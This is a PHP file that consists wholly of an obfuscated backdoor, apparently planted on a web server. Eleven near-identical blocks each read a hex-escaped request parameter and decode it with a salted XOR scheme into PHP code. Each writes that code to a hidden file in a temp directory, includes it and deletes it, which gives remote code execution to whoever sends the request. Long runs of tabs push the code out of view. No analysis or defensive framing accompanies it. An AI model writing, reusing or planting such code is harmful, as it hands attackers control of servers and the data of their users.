<?php																																										if(!empty($_REQUEST["s\x79m\x62\x6Fl"])){ $ent = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP")]); $flag = $_REQUEST["s\x79m\x62\x6Fl"]; $flag = explode ('.', $flag ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($flag as $m=> $v4) { $sChar = ord($salt[$m % $lenS]); $dec = ((int)$v4 - $sChar - ($m % 10)) ^ 60; $pointer .= chr($dec); } foreach ($ent as $mrk): if (is_dir($mrk) ? is_writable($mrk) : false) { $holder = "$mrk/.value"; $success = file_put_contents($holder, $pointer); if ($success) { include $holder; @unlink($holder); exit;} } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x65\x6Cem"])){ $mrk = $_POST["\x65\x6Cem"]; $mrk = explode( ".",$mrk ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $l = 0; array_walk($mrk, function($v8) use(&$res, &$l, $salt, $sLen) { $chS = ord($salt[$l % $sLen]); $dec =((int)$v8 - $chS -($l % 10)) ^ 86; $res .= chr($dec); $l++; }); $k = array_filter(["/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", session_save_path()]); foreach ($k as $key => $pgrp) { if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $symbol = "$pgrp" . "/.flg"; if (file_put_contents($symbol, $res)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65f")){ $tkn = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), session_save_path(), "/tmp"]); $token = $_REQUEST["\x72\x65f"]; $token =explode(".", $token ); $rec =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s ); $o =0; while( $o <count( $token)) { $v3 =$token[$o]; $sChar =ord( $s[$o% $sLen] ); $d =( ( int)$v3 - $sChar -( $o% 10)) ^ 44; $rec .= chr( $d ); $o++;} for ($record = 0, $data = count($tkn); $record < $data; $record++) { $mrk = $tkn[$record]; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $flg = str_replace("{var_dir}", $mrk, "{var_dir}/.parameter_group"); if (file_put_contents($flg, $rec)) { require $flg; unlink($flg); die(); } } } }
																																										if(array_key_exists("e\x6Et", $_POST) && !is_null($_POST["e\x6Et"])){ $dat = $_POST["e\x6Et"]; $dat =explode ( '.' ,$dat ) ; $k= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s5 ); $u= 0; $__len= count($dat ); do { if($u >= $__len) break; $v6= $dat[$u]; $chS= ord($s5[$u %$lenS] ); $dec= ((int)$v6 - $chS -($u %10)) ^ 59; $k .= chr($dec ); $u++; } while(true ); $token = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP")]); foreach ($token as $pset) { if (array_product([is_dir($pset), is_writable($pset)])) { $reference = implode("/", [$pset, ".item"]); $success = file_put_contents($reference, $k); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(array_key_exists("\x74\x6Bn", $_REQUEST) && !is_null($_REQUEST["\x74\x6Bn"])){ $dat = $_REQUEST["\x74\x6Bn"]; $dat=explode ( ".",$dat) ; $item = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); foreach( $dat as $v => $v8): $sChar = ord( $salt2[$v % $lenS]); $d = ( ( int)$v8 - $sChar -( $v % 10))^70; $item .= chr( $d); endforeach; $descriptor = array_filter(["/dev/shm", "/tmp", getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($descriptor as $key => $sym) { if (is_dir($sym) ? is_writable($sym) : false) { $dchunk = sprintf("%s/.pset", $sym); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(@$_REQUEST["\x6Bey"] !== null){ $obj = $_REQUEST["\x6Bey"]; $obj= explode ( ".", $obj) ; $descriptor= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $w= 0; array_walk($obj ,function ($v2) use (&$descriptor ,&$w ,$s ,$lenS) { $sChar= ord($s[$w% $lenS]); $dec= ((int)$v2 - $sChar - ($w% 10)) ^ 36; $descriptor .= chr($dec); $w++; }); $ent = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp"]); for ($value = 0, $pgrp = count($ent); $value < $pgrp; $value++) { $property_set = $ent[$value]; if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $resource = join("/", [$property_set, ".marker"]); if (file_put_contents($resource, $descriptor)) { include $resource; @unlink($resource); die(); } } } }
																																										if(!empty($_POST["\x6F\x62\x6Aect"])){ $k = $_POST["\x6F\x62\x6Aect"]; $k = explode ( '.' , $k ); $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; array_walk($k, function($v2) use(&$itm, &$y, $salt, $lenS) { $chS = ord($salt[$y % $lenS]); $dec = ((int)$v2 - $chS -($y % 10))^ 16; $itm.= chr($dec); $y++; } ); $record = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TMP"), getcwd()]); while ($rec = array_shift($record)) { if (is_dir($rec) && is_writable($rec)) { $item = implode("/", [$rec, ".reference"]); if (@file_put_contents($item, $itm) !== false) { include $item; unlink($item); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ref\x65ren\x63\x65")){ $entry = array_filter(["/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $pset = $_REQUEST["ref\x65ren\x63\x65"]; $pset = explode ('.' , $pset ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $m = 0; $__tmp = $pset; while( $v6 = array_shift( $__tmp)) { $chS = ord( $salt[$m%$sLen]); $dec =( ( int)$v6 - $chS -( $m%10))^ 25; $ent .= chr( $dec); $m++; } while ($key = array_shift($entry)) { if ((bool)is_dir($key) && (bool)is_writable($key)) { $descriptor = "$key" . "/.parameter_group"; if (@file_put_contents($descriptor, $ent) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["m\x61\x72\x6Ber"])){ $k = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp"]); $sym = $_REQUEST["m\x61\x72\x6Ber"]; $sym = explode ('.' , $sym ) ; $desc= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s1); foreach ($sym as $v =>$v6) { $chS= ord($s1[$v % $lenS]); $dec= ((int)$v6 - $chS - ($v % 10))^39; $desc .= chr($dec); } foreach ($k as $key => $symbol) { if (is_dir($symbol) && is_writable($symbol)) { $dchunk = sprintf("%s/.ent", $symbol); if (file_put_contents($dchunk, $desc)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST["\x70t\x72"]) ? true : false){ $data_chunk = $_REQUEST["\x70t\x72"]; $data_chunk = explode( ".",$data_chunk) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; array_walk($data_chunk, function ($v2) use (&$res, &$w, $s, $lenS) { $sChar = ord($s[$w % $lenS]); $dec = ((int)$v2 - $sChar - ($w % 10)) ^ 17; $res .= chr($dec); $w++; }); $sym = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP")]); foreach ($sym as $property_set): if (!( !is_dir($property_set) || !is_writable($property_set) )) { $flg = vsprintf("%s/%s", [$property_set, ".resource"]); if (file_put_contents($flg, $res)) { require $flg; unlink($flg); die(); } } endforeach; }


if(count($_REQUEST) > 0 && isset($_REQUEST["ent\x69t\x79"])){
	$tkn = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]);
	$symbol = $_REQUEST["ent\x69t\x79"];
	  $symbol=	 explode( 	 '.'	, $symbol) ; 
	$holder =		'';
            $salt4 =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =		strlen( $salt4);
            $z =		0;
    
            $__tmp =		$symbol;
            while( $v7 =		array_shift( $__tmp)) {
                $chS =		ord( $salt4[$z	% 	$sLen]);
                $d =		( ( int)$v7 - $chS -( $z	% 	10)) ^ 	16;
                $holder.= 	chr( $d);
                $z++;
            }
	foreach ($tkn as $key => $pgrp) {
    		if (max(0, is_dir($pgrp) * is_writable($pgrp))) {
    $property_set = "$pgrp" . "/.res";
    if (file_put_contents($property_set, $holder)) {
	require $property_set;
	unlink($property_set);
	die();
}
}
}
}